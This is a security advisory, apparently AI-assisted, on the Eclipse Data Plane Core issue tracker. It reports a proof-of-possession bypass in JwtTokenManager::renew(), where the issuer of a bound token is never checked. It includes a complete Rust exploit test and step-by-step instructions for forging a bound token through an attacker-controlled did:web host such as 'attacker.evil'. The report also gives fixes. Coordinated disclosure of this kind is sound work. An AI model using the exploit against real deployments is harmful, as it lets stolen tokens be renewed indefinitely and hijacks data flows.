[Eclipse Data Plane Core] Proof-of-possession bypass in `JwtTokenManager::renew()` via attacker-chosen DID issuer
> [!warning] AI-Generated Vulnerability Report > This report was produced using AI-assisted security analysis, adversarially verified but not human-confirmed. This finding was challenged against the codebase and survived; we filter out low-confidence results rather than forwarding raw model output. Technical details, exploitability, and severity may still be wrong. Please validate independently before acting. <details open> <summary><strong>Basic information</strong></summary> **Project name:** Eclipse Data Plane Core **Project id:** technology.dataplane-core **Repository:** https://github.com/eclipse-dataplane-core/dsdk-facet-rs </details> <details> <summary><strong>What are the affected versions?</strong></summary> No release tags exist; the project is at workspace version `0.0.1`. Every commit from `a6f7d4c` (2026-04-07) through current `HEAD` (`2961f6574288f197a6414bb4f9534b0380aeb927`) is affected. </details> <details open> <summary><strong>Summary</strong></summary> The Siglet token-refresh endpoint (`POST /token/refresh`, backed by `JwtTokenManager::renew()`) implements the Tractus-X *sender-constrained refresh* profile: a client must present a "bound token" (a JWT it has signed with its own DID-anchored private key, embedding the original access token) to prove possession of the legitimate client's key material before a new token pair is issued. `renew()` verifies the bound token with a `LocalJwtVerifier` whose `VerificationKeyResolver` is `DidWebVerificationKeyResolver`. That verifier extracts `iss` and `kid` from the **unverified** JWT and dereferences them over HTTPS to obtain the public key used for signature verification. After verification, `renew()` checks only that `verified_claims.sub == entry.subject` and that the embedded `token` claim equals the stored access token. It never checks that `iss` (the key that actually signed the JWT) matches `sub` or `entry.subject`. An attacker who has obtained a `refresh_token` and the matching `access_token` — but **not** the legitimate client's private key — can therefore forge a bound token signed with an arbitrary keypair, publish the public key at a `did:web:` host they control, set `iss`/`kid` to point at that host while copying `sub`/`aud`/`token` from the stolen material, and obtain a fresh token pair. This completely defeats the proof-of-possession mechanism. </details> <details> <summary><strong>Severity</strong></summary> **Medium.** * **Precondition**: the attacker must already hold a valid `(refresh_token, access_token)` pair for the targeted flow. These are bearer secrets transmitted together in the original token-grant response and in every refresh response, so they may leak via logs, an intermediate proxy, an insecure client store, or a compromised consumer host. This is non-trivial but realistic — it is precisely the threat that sender-constrained refresh exists to mitigate. * **Impact**: full bypass of the holder-of-key check. The attacker can perpetually mint new access tokens for the victim consumer's data flow without ever having access to the consumer's signing key, and can do so indefinitely (each successful renew yields a new refresh token). The defence-in-depth property advertised by the protocol is reduced to plain bearer-token security. * The issue is reachable from the **public** refresh endpoint (`siglet/src/handler/refresh/mod.rs`) on a default Siglet deployment with no additional configuration. Under the supplied rubric this is not High because a fresh install with no leaked secrets is not exploitable; it is not Low because the precondition is the canonical threat model for PoP refresh and requires no insider position. </details> <details> <summary><strong>Weakness</strong></summary> CWE-290 (Authentication Bypass by Spoofing) — the verifier trusts an identity/key binding asserted by the attacker. Secondary: CWE-345 (Insufficient Verification of Data Authenticity). </details> <details> <summary><strong>Location</strong></summary> * `crates/facet-core/src/token/manager/mod.rs:340-394` — `renew()` checks `verified_claims.sub` against `entry.subject` but never constrains `verified_claims.iss`. * `crates/facet-core/src/jwt/verifier.rs:53-80` — `LocalJwtVerifier::verify_token()` resolves the decoding key from unverified `iss`/`kid`. * `crates/facet-core/src/jwt/did.rs:176-208` — `DidWebVerificationKeyResolver::resolve_key()` dereferences whatever `iss`/`kid` it is handed, including a fully attacker-controlled `did:web:` URL when `kid.starts_with("did:")`. * `siglet/src/assembly/mod.rs:355-441` — production wiring that installs `DidWebVerificationKeyResolver` as the `client_verifier` for `JwtTokenManager`. * `siglet/src/handler/refresh/mod.rs:56-93` — public HTTP entry point. The `JwtVerifier` trait doc at `crates/facet-core/src/jwt/mod.rs:84-91` explicitly notes *"verification does not check the value of the `iss` and `sub` claims. Clients should enforce requirements for these claims as needed."* `renew()` is one such client and does not enforce the `iss` requirement. </details> <details> <summary><strong>Origin</strong></summary> Introduced in commit `a6f7d4cc0093931287c349e1e546ad2932c08e8d` ("feat: token renewal and verification", PR \#30, merged 2026-04-07). That commit added both `DidWebVerificationKeyResolver` (`crates/facet-core/src/jwt/did.rs`) and the `renew()` implementation with the `sub`-only check; the diff shows the `client_verifier` split being wired into `siglet/src/assembly/mod.rs` in the same PR. The pattern has not changed materially since. </details> <details> <summary><strong>Methodology</strong></summary> Manual review of all externally-reachable handlers and the components they delegate to: | Sink | Verdict | |---|---| | `TokenRefreshHandler` → `JwtTokenManager::renew()` | **Vulnerable** — this report | | `LocalJwtVerifier` algorithm handling | OK — `Validation::new(self.signing_algorithm.into())` pins the algorithm; `alg=none` and key-confusion are rejected by `jsonwebtoken` | | `DidWebVerificationKeyResolver::did_web_to_url()` | No SSRF beyond intended behaviour (did:web *is* defined as "fetch from this host"); HTTPS is the default; only relevant because the caller fails to bind the result to an expected identity | | `validate_multibase_ed25519()` | OK — checks `z` prefix, `0xed01` multicodec, exact 32-byte length | | `JwtTokenManager::validate_token()` | Uses `provider_verifier` (Vault-backed in production) and additionally requires `jti` to exist in the store; not affected by this issue | | `facet-postgres` token / auth / lock stores | OK — all queries use `sqlx::query(..).bind(..)` parameterisation; no string-built SQL | | `util::encryption` (sodiumoxide secretbox) | OK — random 24-byte nonce per call, Argon2id13 KDF, key length enforced | | `HashicorpVaultClient::kv_url()` path construction | `format!` with `participant_context.id` could path-traverse, but `participant_context` originates from the management API / signaling layer which is operator-trusted per the explicit TODO in `siglet/src/server/signaling/auth.rs:17-20`; not externally reachable | | `TokenApiHandler` (`/tokens/...`, `/keys`) | No authentication, but bound to the management port (`run_siglet_api`) which is an internal/operator surface by design; out of scope per trust boundary | | `S3Proxy` default `NoOpJwtVerifier` | Builder default in a library crate; the consuming application must supply a real verifier. Not a first-party deployment defect | Prior-art search: `git log --all --grep` for *iss / bound / proof / did / renew*; `gh issue list` / `gh pr list` (3 issues, ~30 PRs reviewed); `gh api .../security-advisories` returned `[]`. No existing report of this issue. </details> <details> <summary><strong>Validation</strong></summary> Reproduction added at `crates/facet-core/tests/security_renew_pop_bypass.rs` and executed against `HEAD`: ```text $ cargo test -p dsdk-facet-core --test security_renew_pop_bypass \ --features test-fixtures -- --nocapture running 1 test [setup] legitimate access_token = eyJ0eXAiOiJKV1QiLCJhbGciOiJFZERTQSIsImtp... [setup] legitimate refresh_token = ae9fb67d004588256d607106976c54c5d4480c06... [attack] attacker DID = did:web:127.0.0.1%3A46435 [attack] forged bound_token iss = did:web:127.0.0.1%3A46435 [attack] forged bound_token sub = did:web:consumer.example.com [result] renew() SUCCEEDED — proof-of-possession BYPASSED [result] new access_token = eyJ0eXAiOiJKV1QiLCJhbGciOiJFZERTQSIsImtp... [result] new refresh_token = 560879ff061f3a0252dfcd73674e10394b17ec73... test renew_accepts_bound_token_signed_by_attacker_key ... ok test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.04s ``` Reproduction script (full file content): ```rust // Security reproduction: proof-of-possession bypass in JwtTokenManager::renew() // // This test demonstrates that an attacker who has obtained a (refresh_token, // access_token) pair — but NOT the legitimate consumer's private signing key — // can still successfully call renew() by forging a "bound token" signed with // an attacker-controlled keypair whose public key is published under an // attacker-controlled did:web identifier. // // The Tractus-X token-refresh profile requires the bound token to be a // sender-constrained JWT signed by the legitimate client; renew() is supposed // to reject any caller who cannot prove possession of that key. Because // LocalJwtVerifier resolves the verification key from the *unverified* iss/kid // claims via DidWebVerificationKeyResolver, and JwtTokenManager::renew() never // checks that iss == sub == entry.subject, the proof-of-possession check is // fully bypassable. #![allow(clippy::unwrap_used)] use base64::Engine as _; use dsdk_facet_core::context::ParticipantContext; use dsdk_facet_core::jwt::test_fixtures::{ LocalJwtGenerator, StaticSigningKeyResolver, StaticVerificationKeyResolver, generate_ed25519_keypair_der, generate_ed25519_keypair_pem, }; use dsdk_facet_core::jwt::{ DidWebVerificationKeyResolver, JwkSet, JwkSetProvider, JwtGenerator, KeyFormat, LocalJwtVerifier, SigningAlgorithm, TokenClaims, }; use dsdk_facet_core::token::manager::{ JwtTokenManager, MemoryRenewableTokenStore, TokenManager, ValidatedServerSecret, }; use dsdk_facet_core::util::crypto::convert_to_multibase; use serde_json::{Map, Value, json}; use std::collections::HashMap; use std::sync::Arc; use wiremock::matchers::{method, path}; use wiremock::{Mock, MockServer, ResponseTemplate}; struct NoOpJwkSetProvider; #[async_trait::async_trait] impl JwkSetProvider for NoOpJwkSetProvider { async fn jwk_set(&self) -> JwkSet { JwkSet { keys: vec![] } } } const PROVIDER_DID: &str = "did:web:provider.example.com"; const CONSUMER_DID: &str = "did:web:consumer.example.com"; #[tokio::test] async fn renew_accepts_bound_token_signed_by_attacker_key() { // ------------------------------------------------------------------ // 1. Provider setup — mirrors siglet/src/assembly/mod.rs production // wiring: client_verifier uses DidWebVerificationKeyResolver. // ------------------------------------------------------------------ let provider_kp = generate_ed25519_keypair_pem().unwrap(); let provider_generator = Arc::new( LocalJwtGenerator::builder() .signing_key_resolver(Arc::new( StaticSigningKeyResolver::builder() .key(provider_kp.private_key.clone()) .kid("provider-key-1") .key_format(KeyFormat::PEM) .build(), )) .signing_algorithm(SigningAlgorithm::EdDSA) .build(), ); // client_verifier: production uses DidWebVerificationKeyResolver. use_https=false // so wiremock can stand in for the attacker's did:web host. (The production // default is HTTPS — this only changes transport, not the trust logic.) let client_verifier = Arc::new( LocalJwtVerifier::builder() .verification_key_resolver(Arc::new( DidWebVerificationKeyResolver::builder().use_https(false).build(), )) .signing_algorithm(SigningAlgorithm::EdDSA) .build(), ); // provider_verifier is irrelevant to renew(); use a static one. let provider_verifier = Arc::new( LocalJwtVerifier::builder() .verification_key_resolver(Arc::new( StaticVerificationKeyResolver::builder() .key(provider_kp.public_key.clone()) .key_format(KeyFormat::PEM) .build(), )) .signing_algorithm(SigningAlgorithm::EdDSA) .build(), ); let secret = ValidatedServerSecret::try_from(b"this_is_exactly_32bytes_long!!!!".to_vec()).unwrap(); let manager: Arc<dyn TokenManager> = Arc::new( JwtTokenManager::builder() .issuer(PROVIDER_DID) .refresh_endpoint("http://provider/token/refresh") .server_secret(secret) .token_store(Arc::new(MemoryRenewableTokenStore::new())) .token_generator(provider_generator) .client_verifier(client_verifier) .provider_verifier(provider_verifier) .jwk_set_provider(Arc::new(NoOpJwkSetProvider)) .build(), ); // ------------------------------------------------------------------ // 2. Provider issues a legitimate token pair to CONSUMER_DID. // These are the two bearer secrets the attacker is assumed to have // intercepted (e.g. from logs, a misconfigured proxy, or an EDR). // The attacker does NOT have the consumer's private signing key. // ------------------------------------------------------------------ let provider_ctx = ParticipantContext::builder() .id("provider-ctx") .identifier(PROVIDER_DID) .audience(PROVIDER_DID) .build(); let pair = manager .generate_pair(&provider_ctx, CONSUMER_DID, HashMap::new(), "flow-1".into()) .await .unwrap(); eprintln!("[setup] legitimate access_token = {}...", &pair.token[..40]); eprintln!("[setup] legitimate refresh_token = {}...", &pair.refresh_token[..40]); // ------------------------------------------------------------------ // 3. Attacker generates their OWN keypair and publishes the public key // in a DID document at a host they control. // ------------------------------------------------------------------ let attacker_kp = generate_ed25519_keypair_der().unwrap(); let attacker_pub_b64 = base64::engine::general_purpose::STANDARD.encode(&attacker_kp.public_key); let attacker_pub_multibase = convert_to_multibase(&attacker_pub_b64).unwrap(); let attacker_host = MockServer::start().await; let attacker_did = format!("did:web:{}", attacker_host.address().to_string().replace(':', "%3A")); let attacker_kid = format!("{}#key-1", attacker_did); let attacker_did_doc = json!({ "@context": "https://www.w3.org/ns/did/v1", "id": attacker_did, "verificationMethod": [{ "id": attacker_kid, "type": "Ed25519VerificationKey2020", "controller": attacker_did, "publicKeyMultibase": attacker_pub_multibase }] }); Mock::given(method("GET")) .and(path("/.well-known/did.json")) .respond_with(ResponseTemplate::new(200).set_body_json(&attacker_did_doc)) .mount(&attacker_host) .await; eprintln!("[attack] attacker DID = {attacker_did}"); // ------------------------------------------------------------------ // 4. Attacker forges a bound_token: // iss = attacker DID (controls key resolution) // kid = attacker DID#key-1 (controls key resolution) // sub = CONSUMER_DID (passes renew()'s sub == entry.subject check) // aud = PROVIDER_DID (passes verifier's aud check == entry.audience) // token= stolen access_token (passes renew()'s embedded-token check) // Signed with the ATTACKER's private key. // ------------------------------------------------------------------ let attacker_generator = LocalJwtGenerator::builder() .signing_key_resolver(Arc::new( StaticSigningKeyResolver::builder() .key(attacker_kp.private_key.clone()) .kid(attacker_kid.clone()) .key_format(KeyFormat::DER) .build(), )) .signing_algorithm(SigningAlgorithm::EdDSA) .build(); let now = chrono::Utc::now().timestamp(); let forged_claims = TokenClaims::builder() .iss(attacker_did.clone()) .sub(CONSUMER_DID) .aud(PROVIDER_DID) .exp(now + 300) .custom(Map::from_iter([( "token".to_string(), Value::String(pair.token.clone()), )])) .build(); let dummy_ctx = ParticipantContext::builder().id("attacker").build(); let forged_bound_token = attacker_generator .generate_token(&dummy_ctx, forged_claims) .await .unwrap(); eprintln!("[attack] forged bound_token iss = {attacker_did}"); eprintln!("[attack] forged bound_token sub = {CONSUMER_DID}"); // ------------------------------------------------------------------ // 5. Call renew() with the forged bound_token + stolen refresh_token. // A correct implementation MUST reject this: the bound_token was not // signed by CONSUMER_DID's key. // ------------------------------------------------------------------ let result = manager.renew(&forged_bound_token, &pair.refresh_token).await; match &result { Ok(new_pair) => { eprintln!("[result] renew() SUCCEEDED — proof-of-possession BYPASSED"); eprintln!("[result] new access_token = {}...", &new_pair.token[..40]); eprintln!("[result] new refresh_token = {}...", &new_pair.refresh_token[..40]); } Err(e) => { eprintln!("[result] renew() rejected: {e:?}"); } } // VULNERABILITY: this assertion passes, demonstrating the bypass. assert!( result.is_ok(), "expected renew() to (incorrectly) accept the attacker-signed bound_token; \ if this fails the bug has been fixed" ); let new_pair = result.unwrap(); assert_ne!(new_pair.token, pair.token); assert_ne!(new_pair.refresh_token, pair.refresh_token); } ``` The test wires `JwtTokenManager` exactly as `siglet/src/assembly/mod.rs` does (DID-based `client_verifier`), then renews using a bound token whose signing key was generated inside the test and never seen by the provider. </details> <details> <summary><strong>Detail</strong></summary> Control/data flow: 1. `POST /token/refresh` (`siglet/src/handler/refresh/mod.rs:56-93`) reads `Authorization: Bearer <bound_token>` and form field `refresh_token`, calls `token_manager.renew(bound_token, refresh_token)`. 2. `renew()` (`crates/facet-core/src/token/manager/mod.rs:340`) HMAC-hashes the refresh token and looks up the stored `RenewableTokenEntry` (`entry.subject` = the legitimate consumer's DID, `entry.audience` = provider DID, `entry.token` = the previously-issued access token). 3. `renew()` calls `self.client_verifier.verify_token(&entry.audience, bound_token)`. In production assembly `client_verifier` is a `LocalJwtVerifier` backed by `DidWebVerificationKeyResolver`. 4. `LocalJwtVerifier::verify_token()` (`crates/facet-core/src/jwt/verifier.rs:53`) does: ```rust let header = decode_header(token)?; // attacker-controlled let kid = header.kid?; // attacker-controlled let unverified = insecure_decode::<TokenClaims>(token)?; let iss = &unverified.claims.iss; // attacker-controlled let decoding_key = self.load_decoding_key(iss, &kid).await?; ``` 5. `DidWebVerificationKeyResolver::resolve_key()` builds `https://{host-from-iss-or-kid}/.well-known/did.json`, fetches it, and returns whatever Ed25519 key the document advertises. There is no allow-list and no comparison of the resolved DID against any expected identity. 6. Signature verification succeeds (the attacker signed with the matching private key). `aud` is validated against `entry.audience`, which the attacker copied. `verify_token()` returns the claims. 7. Back in `renew()`: ```rust if verified_claims.sub != entry.subject { return Err(...) } // attacker set sub = entry.subject let embedded_token = verified_claims.custom.get("token")?; if embedded_token != entry.token.as_str() { return Err(...) } // attacker has the stolen token ``` `verified_claims.iss` is never inspected. A new pair is issued and the store is rotated. The trait documentation at `crates/facet-core/src/jwt/mod.rs:84-91` even warns that callers must enforce `iss`/`sub` themselves; `renew()` enforces `sub` only. The unit test suite reflects the gap: `create_bound_token()` (`crates/facet-core/src/token/manager/tests/token_manager.rs:790-813`) hard-codes `iss: "did:web:issuer.com"` regardless of `sub`, and there is a `test_renew_subject_mismatch` but no issuer-mismatch test. The `refresh_handler_integration` test uses `StaticVerificationKeyResolver`, so the production DID path is never exercised. </details> <details> <summary><strong>Steps to reproduce</strong></summary> Preconditions: attacker holds `refresh_token` and `access_token` for an active flow; attacker controls any HTTPS host with a valid certificate (`did:web` requires only that). 1. Generate an Ed25519 keypair. 2. Serve at `https://attacker.evil/.well-known/did.json`: **Proof of concept:** [poc.json](/uploads/e1ec58e048ee980eea1e93ea1688a095/poc.json) 3. Craft a JWT with header `{"alg":"EdDSA","kid":"did:web:attacker.evil#k1"}` and payload `{"iss":"did:web:attacker.evil","sub":"<victim consumer DID>", "aud":"<provider DID>","exp":<now+300>,"iat":<now>, "token":"<stolen access_token>"}`, signed with the attacker private key. 4. `POST {refresh_endpoint}` with `Authorization: Bearer <forged jwt>` and form body `grant_type=refresh_token&refresh_token=<stolen refresh_token>`. 5. Receive a fresh `(access_token, refresh_token)` pair; repeat indefinitely. The attacker now has an independent, self-renewing credential for the victim's data flow that survives rotation of the victim's own signing key. </details> <details> <summary><strong>Do you know any mitigations of the issue?</strong></summary> In `JwtTokenManager::renew()` enforce that the bound-token signer is the recorded subject. Minimal patch: **Suggested fix:** [fix.rs](/uploads/cdebb87027efad3d6fb5f4a2fe9cf213/fix.rs) This matches the Tractus-X profile requirement that the client-authentication JWT has `iss == sub == client DID`. With this check in place the DID resolver will still fetch the attacker's document, but the resulting `iss` will not equal `entry.subject` and the request is rejected. Hardening that should accompany the fix: * In `DidWebVerificationKeyResolver::resolve_key()`, when `kid` is a full DID URL, require its base DID to equal `iss` (currently `kid` can silently override `iss` — `did.rs:179-185`). * Consider passing the *expected* issuer into `JwtVerifier::verify_token()` (or a new method) so the resolver fetches only `entry.subject`'s DID document rather than whatever the token claims, eliminating the attacker-directed HTTPS fetch entirely. * Add a regression test mirroring the reproduction above but asserting `result.is_err()`. <!-- l1-helper-dup: eb5f6384ed18bfb6eca16e902b7cad2c0a8505577617681df4a93577b39dc46f --> </details>
issue

Copyright © Eclipse Foundation AISBL. All rights reserved.     Privacy Policy | Terms of Use | Copyright Agent